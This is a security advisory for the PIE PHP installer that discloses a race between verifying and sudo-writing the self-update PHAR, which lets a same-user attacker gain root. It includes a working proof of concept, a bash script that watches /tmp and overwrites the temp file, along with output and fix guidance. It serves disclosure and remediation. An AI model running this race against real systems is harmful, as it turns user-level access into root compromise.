Skip to content

Sudo-elevated root code execution via TOCTOU between `self-update` verify and write

High
asgrim published GHSA-pm6p-666q-hvj5 May 26, 2026

Package

No package listed

Affected versions

>1.3.0

Patched versions

1.3.13+, 1.4.5+, 1.5.0+

Description

Summary

pie self-update downloads a candidate PHAR to a tempnam-allocated path under sys_get_temp_dir(), hashes it once into BinaryFile::checksum, runs attestation verification, then calls file_get_contents on the same path to obtain the bytes it sudo-writes to /usr/local/bin/pie (or wherever the running PHAR lives). The bytes verified and the bytes installed come from two independent disk reads with no buffer carried across. A same-UID attacker who watches sys_get_temp_dir() for pie_self_update_* and overwrites the file between the two reads pivots their user-level access into root code execution. PIE's sudo prompt looks normal, the user types their password, and attacker bytes become the running PIE PHAR.

The sink is SudoFilePut::contents($fullPathToSelf, file_get_contents($pharFilename->filePath)) at src/Command/SelfUpdateCommand.php:185. The verifier's contract is "the bytes at this path matched a php/pie attestation," but PIE re-reads the path after the contract is satisfied, voiding it.

The OpenSSL fallback widens the window further. VerifyAttestationWithOpenSsl::assertDigestFromAttestationMatchesActual compares the DSSE subject digest against $file->checksum(), the cached checksum from download time, and never re-reads the file. Under the OpenSSL fallback, the verifier opens no fd at all on the temp path, so the race window stretches from the end of downloadContent to the file_get_contents at :185.

Details

The verified path is re-read, not cached

SelfUpdateCommand::execute at src/Command/SelfUpdateCommand.php:158-185:

$pharFilename = $fetchLatestPieRelease->downloadContent($latestRelease);
// ...
try {
    $verifyPiePhar->verify($latestRelease, $pharFilename, $this->io);
} catch (FailedToVerifyRelease $failedToVerifyRelease) {
    // ...abort
}
// ...
SudoFilePut::contents($fullPathToSelf, file_get_contents($pharFilename->filePath));

$pharFilename is a BinaryFile, an immutable {filePath, checksum} pair. After verification returns, the bytes PIE installs come from a fresh file_get_contents against filePath, with no comparison against the contents that produced checksum.

Where the bytes get written from disk

FetchPieReleaseFromGitHub::downloadContent at src/SelfManage/Update/FetchPieReleaseFromGitHub.php:117-147:

$tempPharFilename = tempnam(sys_get_temp_dir(), 'pie_self_update_');

try {
    file_put_contents($tempPharFilename, $pharContent);
} catch (FilesystemException $previous) {
    throw new RuntimeException(...);
}

return BinaryFile::fromFileWithSha256Checksum($tempPharFilename);

BinaryFile::fromFileWithSha256Checksum at src/File/BinaryFile.php:33:

return new self(
    $filePath,
    hash_file(self::HASH_TYPE_SHA256, $filePath),
);

Read # 1 of the file content happens inside hash_file here. The returned BinaryFile carries the path and the hash-at-the-time-of-download. Neither the bytes nor an open fd survive past this call.

What each verifier does on the file

VerifyPieReleaseUsingAttestation::verify dispatches to GithubCliAttestationVerification first and falls back to FallbackVerificationUsingOpenSsl if gh is absent (src/SelfManage/Verify/VerifyPieReleaseUsingAttestation.php:32-45).

The gh path, src/SelfManage/Verify/GithubCliAttestationVerification.php:48-54:

$verificationCommand = [
    $gh,
    self::GH_ATTESTATION_COMMAND,
    'verify',
    '--owner=php',
    $pharFilename->filePath,
];

Process::run($verificationCommand);

gh attestation verify re-opens $pharFilename->filePath from disk, hashes it, and checks the hash against a php/pie attestation pulled from api.github.com. Read # 2 of the file content happens inside the gh subprocess. PHP does not hold an fd across the call.

The OpenSSL path, src/SelfManage/Verify/FallbackVerificationUsingOpenSsl.php:45-51:

$this->verifyAttestation->verify(
    FilenameWithChecksum::fromFilenameAndChecksum($pharFilename->filePath, $pharFilename->checksum),
    self::ORGANISATION,
    self::ARTIFACT_FILENAME,
    self::ATTESTATION_CERTIFICATE_EXPECTED_EXTENSION_VALUES,
);

The upstream VerifyAttestationWithOpenSsl at vendor/thephpf/attestation/src/Verification/VerifyAttestationWithOpenSsl.php:287-315:

private function assertDigestFromAttestationMatchesActual(FilenameWithChecksum $file, string $expectedSubjectName, Attestation $attestation): void
{
    // ...DSSE payload decoding...
    $expected = $file->checksum();
    $actual   = $decodedPayload['subject'][0]['digest']['sha256'];
    if (! hash_equals($expected, $actual)) {
        throw DigestMismatch::fromChecksumMismatch($expected, $actual);
    }
}

$file->checksum() returns the value PIE captured at download time. The OpenSSL path never opens the file. Its only reference to the bytes is via the pre-computed checksum.

Where the race window ends

SelfUpdateCommand.php:185 issues file_get_contents($pharFilename->filePath). This is read # 2 (gh path) or the only file read since download (OpenSSL path). The buffer returned by this call is what SudoFilePut::contents writes via sudo mv.

SudoFilePut::writeWithSudo at src/File/SudoFilePut.php:44-63:

private static function writeWithSudo(string $filename, string $content): void
{
    $tempFilename = tempnam(sys_get_temp_dir(), 'pie_tmp_');
    file_put_contents($tempFilename, $content);

    if (file_exists($filename)) {
        self::copyOwnership($filename, $tempFilename);
    }

    Process::run([Sudo::find(), 'mv', $tempFilename, $filename], timeout: Process::SHORT_TIMEOUT);
}

$content is whatever file_get_contents returned at :185. The sudo mv installs it. There is no second verification, no checksum recomputation, no diff against $pharFilename->checksum.

Race window measurement

Two windows matter:

  • gh path: from gh attestation verify returning to file_get_contents at :185. The gh subprocess teardown alone is on the order of tens of milliseconds; the PHP code between the two sites is a few statements. Practical window: 50–200 ms.
  • OpenSSL path: from BinaryFile::fromFileWithSha256Checksum returning at the end of downloadContent to file_get_contents at :185. Includes the full HTTPS round-trip to api.github.com (DNS, TLS, request), certificate-chain walk against the bundled Sigstore trusted root (thousands of lines of PHP, multiple openssl_x509_parse calls), and OpenSSL signature verification. Practical window: 200–1500 ms.

Either window is large enough that a busy-poll on sys_get_temp_dir() lands inside it on the first attempt. The PoC below measures 85 ms detection and 167 ms strike against a 200 ms modeled verify.

Attacker's tempfile-detection primitive

tempnam(sys_get_temp_dir(), 'pie_self_update_') creates a file mode 0600. On Linux, /tmp itself is mode 1777 (world-listable, sticky-bit deletes). Same-UID attackers (any other process running as the user who invoked pie self-update) can ls /tmp/pie_self_update_*, watch with inotify, and write to the file. The 0600 mode blocks cross-UID tampering; same-UID is the assumed primitive.

Cross-UID attackers can still detect the filename via ls but cannot write to a 0600 file owned by another UID. Sticky-bit on /tmp blocks cross-UID unlink as well. So the practical entry point is "already have user-level code execution as the invoking user."

PoC

The PoC runs the real PIE classes (FetchPieReleaseFromGitHub::downloadContent and SudoFilePut::contents) against pinned commit 5c3fa89c5f63728f60fda04756b4044c01855ff7. Only two boundaries are stubbed: HttpDownloader::get returns canned "release bytes" so the harness doesn't hit api.github.com, and VerifyPiePhar::verify is replaced with a stub that sleeps to model real verify latency. The bug under test is independent of what verify does. It's the disk re-read at :185.

Two processes:

  • victim-real.php mimics SelfUpdateCommand::execute:158-185 against PIE's classes.
  • attacker.sh busy-polls sys_get_temp_dir(), detects the pie_self_update_* file, waits 80 ms (well inside the 200 ms modeled verify window), and overwrites it.

/tmp/pie-poc-002/victim-real.php:

<?php
declare(strict_types=1);

require '/home/ilia/ai/php-sec/audits/pie/vendor/autoload.php';

use Composer\IO\NullIO;
use Composer\Util\HttpDownloader;
use Composer\Util\Http\Response;
use Php\Pie\File\BinaryFile;
use Php\Pie\File\SudoFilePut;
use Php\Pie\SelfManage\Update\FetchPieReleaseFromGitHub;
use Php\Pie\SelfManage\Update\ReleaseMetadata;
use Php\Pie\SelfManage\Verify\VerifyPiePhar;

$legitBytes = "PIE-LEGIT-BYTES-" . str_repeat("L", 64);

$http = new class ($legitBytes) extends HttpDownloader {
    public function __construct(private readonly string $body) {}
    public function get($fileUrl, $options = []): Response
    {
        return new Response(['url' => $fileUrl], 200, [], $this->body);
    }
};

$fetcher = new FetchPieReleaseFromGitHub('https://api.github.com', $http);
$release = new ReleaseMetadata('vfake', 'https://example.invalid/pie.phar');

$pharFilename = $fetcher->downloadContent($release);
fprintf(STDERR, "[victim] BinaryFile::checksum = %s\n", $pharFilename->checksum);

$verifier = new class implements VerifyPiePhar {
    public function verify(ReleaseMetadata $r, BinaryFile $f, \Composer\IO\IOInterface $io): void
    {
        usleep(200_000);  // model verify latency (gh: ~500–2000 ms, openssl: ~200–1500 ms)
    }
};
$verifier->verify($release, $pharFilename, new NullIO());

$installedPath = '/tmp/pie-poc-002/installed-real-pie.phar';
file_put_contents($installedPath, '');
SudoFilePut::contents(
    $installedPath,
    file_get_contents($pharFilename->filePath),     // SelfUpdateCommand.php:185
);

$installedChecksum = hash('sha256', file_get_contents($installedPath));
if (! hash_equals($pharFilename->checksum, $installedChecksum)) {
    fprintf(STDERR, "[victim] ATTACK SUCCESS — installed sha256:%s ≠ verified sha256:%s\n",
        $installedChecksum, $pharFilename->checksum);
    exit(2);
}
fprintf(STDERR, "[victim] OK\n");

/tmp/pie-poc-002/attacker.sh:

#!/usr/bin/env bash
set -eu

declare -A preexisting=()
for f in /tmp/pie_self_update_*; do
    [ -e "$f" ] || continue
    preexisting["$f"]=1
done

target=""
while :; do
    for f in /tmp/pie_self_update_*; do
        [ -e "$f" ] || continue
        if [ -z "${preexisting[$f]:-}" ]; then
            target="$f"
            break 2
        fi
    done
    sleep 0.001
done

sleep 0.08  # strike 80 ms into the 200 ms verify window
printf 'PIE-ATTACKER-PAYLOAD-%s' "$(printf 'X%.0s' {1..40})" > "$target"

Run:

rm -f /tmp/pie_self_update_*
/tmp/pie-poc-002/attacker.sh > /tmp/pie-poc-002/attacker.log 2>&1 &
sleep 0.05
php /tmp/pie-poc-002/victim-real.php
cat /tmp/pie-poc-002/attacker.log

Observed output:

[victim] BinaryFile::checksum = 92a174cc297694258d9a5bba98eabd350c1e1d3ccbbcf58697d316cf3c5bb977
[victim] ATTACK SUCCESS — installed sha256:620896866698994b16feac4fddbe1cb7378a3ebaf3feb98902af50cf8bd88b9b ≠ verified sha256:92a174cc297694258d9a5bba98eabd350c1e1d3ccbbcf58697d316cf3c5bb977

[attacker] Detected target /tmp/pie_self_update_atnkgjanjp3icczm9o6 after 85 ms
[attacker] Overwrote /tmp/pie_self_update_atnkgjanjp3icczm9o6 with attacker bytes after 167 ms

The PoC installs to a user-writable path so SudoFilePut takes the direct-write branch and the demonstration needs no sudo prompt. In real PIE, $fullPathToSelf resolves to the running PHAR path (typically /usr/local/bin/pie, root-owned), and SudoFilePut::contents falls through to writeWithSudo at :44. The buffer passed to that method is the same buffer the harness shows above (attacker bytes), and Process::run([Sudo::find(), 'mv', $tempFilename, $filename]) installs them as root.

Verified on:

PIE PHP OS Outcome
commit 5c3fa89c5f63728f60fda04756b4044c01855ff7 (1.5.x) 8.4.21 (NTS) Linux x86_64 (WSL2) yes (race lands deterministically inside 200 ms window)
1.4.4 release tag (verify→read code path identical) n/a yes (by code inspection)

Impact

Vulnerability class: TOCTOU privilege-boundary violation; user → root code execution via the trusted self-update flow.

Capability granted: A same-UID attacker (already at user-level code execution: a malicious dev dependency, a poisoned ~/.config/composer/auth.json plugin path, an editor extension, a desktop autorun, etc.) becomes root code execution at the next pie self-update. The attacker doesn't need to be running at the moment the user invokes self-update. They only need a small watcher process or systemd user unit alive when it happens.

Chain: Most real-world LPE chains stop at "user-level code execution" because the OS draws a clean line between user and root. PIE provides a bridge: the user trusts PIE, PIE prompts for sudo, sudo trusts the user, and PIE installs whatever bytes the second disk read returned. With this bug, anything that lets an attacker run as the invoking user can chain into root.

Affected versions: All PIE releases through 1.4.4 and the 1.5.x development branch up to commit 5c3fa89c5f63728f60fda04756b4044c01855ff7. The verify→read pattern has been in SelfUpdateCommand since the self-update path landed; no prior fix exists.

Affected configurations: Default. Triggered by pie self-update (any channel). The gh path is the typical configuration when GitHub CLI is installed; the OpenSSL fallback fires when gh is absent and exposes the wider race window. Nightly channel is identical; the URL is fixed but the disk-read pattern is the same.

Affected users:

  • Any developer with PIE installed system-wide (the documented and recommended deployment) who runs pie self-update.
  • CI environments running PIE as root: not affected by THIS bug (cross-UID /tmp write is blocked by 0600 mode + sticky bit). Same-UID code execution there is already root, no escalation needed.
  • Multi-user shared hosts where one user has sudo access and runs PIE: affected if any other process the user controls (background daemons, editor servers, shell-history-driven aliases) is compromised.

Required user action: Run pie self-update. Type the sudo password at the prompt. The prompt is indistinguishable from a normal self-update flow because verification succeeded against bytes that have since been overwritten.

Fix direction

The fix is to eliminate the read-twice pattern. Either of these closes the primitive:

  1. Read once, verify the buffer, write the buffer. Change the verifier API to accept bytes rather than a path:

    $pharFilename = $fetchLatestPieRelease->downloadContent($latestRelease);
    $bytes        = file_get_contents($pharFilename->filePath);
    
    if (! hash_equals(hash('sha256', $bytes), $pharFilename->checksum)) {
        throw new RuntimeException('Download corrupted or tampered');
    }
    
    $verifyPiePhar->verify($latestRelease, $pharFilename, $this->io);
    SudoFilePut::contents($fullPathToSelf, $bytes);

    The verifier still uses $pharFilename->checksum (which is now anchored to $bytes, not to a disk read). SudoFilePut::contents writes $bytes, not a fresh file_get_contents. There is no on-disk window to race.

  2. Re-verify the buffer at the write site. Less invasive on the verifier API:

    $verifyPiePhar->verify($latestRelease, $pharFilename, $this->io);
    
    $bytes = file_get_contents($pharFilename->filePath);
    if (! hash_equals(hash('sha256', $bytes), $pharFilename->checksum)) {
        unlink($pharFilename->filePath);
        throw new RuntimeException(
            'PHAR contents changed after verification; aborting self-update'
        );
    }
    SudoFilePut::contents($fullPathToSelf, $bytes);

    This still has a hash recompute, but the recompute proves the bytes-to-be-installed are the bytes-that-were-verified. The race window between hash recompute and write is bounded by hash+SudoFilePut::writeWithSudo, both in-process; no further disk read happens.

As independent hardening, narrow the tempnam directory. Today sys_get_temp_dir() defaults to /tmp, world-readable. A self-update-only temp directory under PIE's working directory (default ~/.pie, mode 0700) removes the cross-process listability of the candidate filename and forces the attacker to enumerate the home directory instead. Doesn't close the same-UID primitive, but raises the bar for "lurking watchers."

Apply the same read-once pattern wherever PIE re-reads a verified file later in the same flow. A grep for BinaryFile::filePath followed by a separate file_get_contents/file_exists on the same path is the canary.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

No CWEs

Credits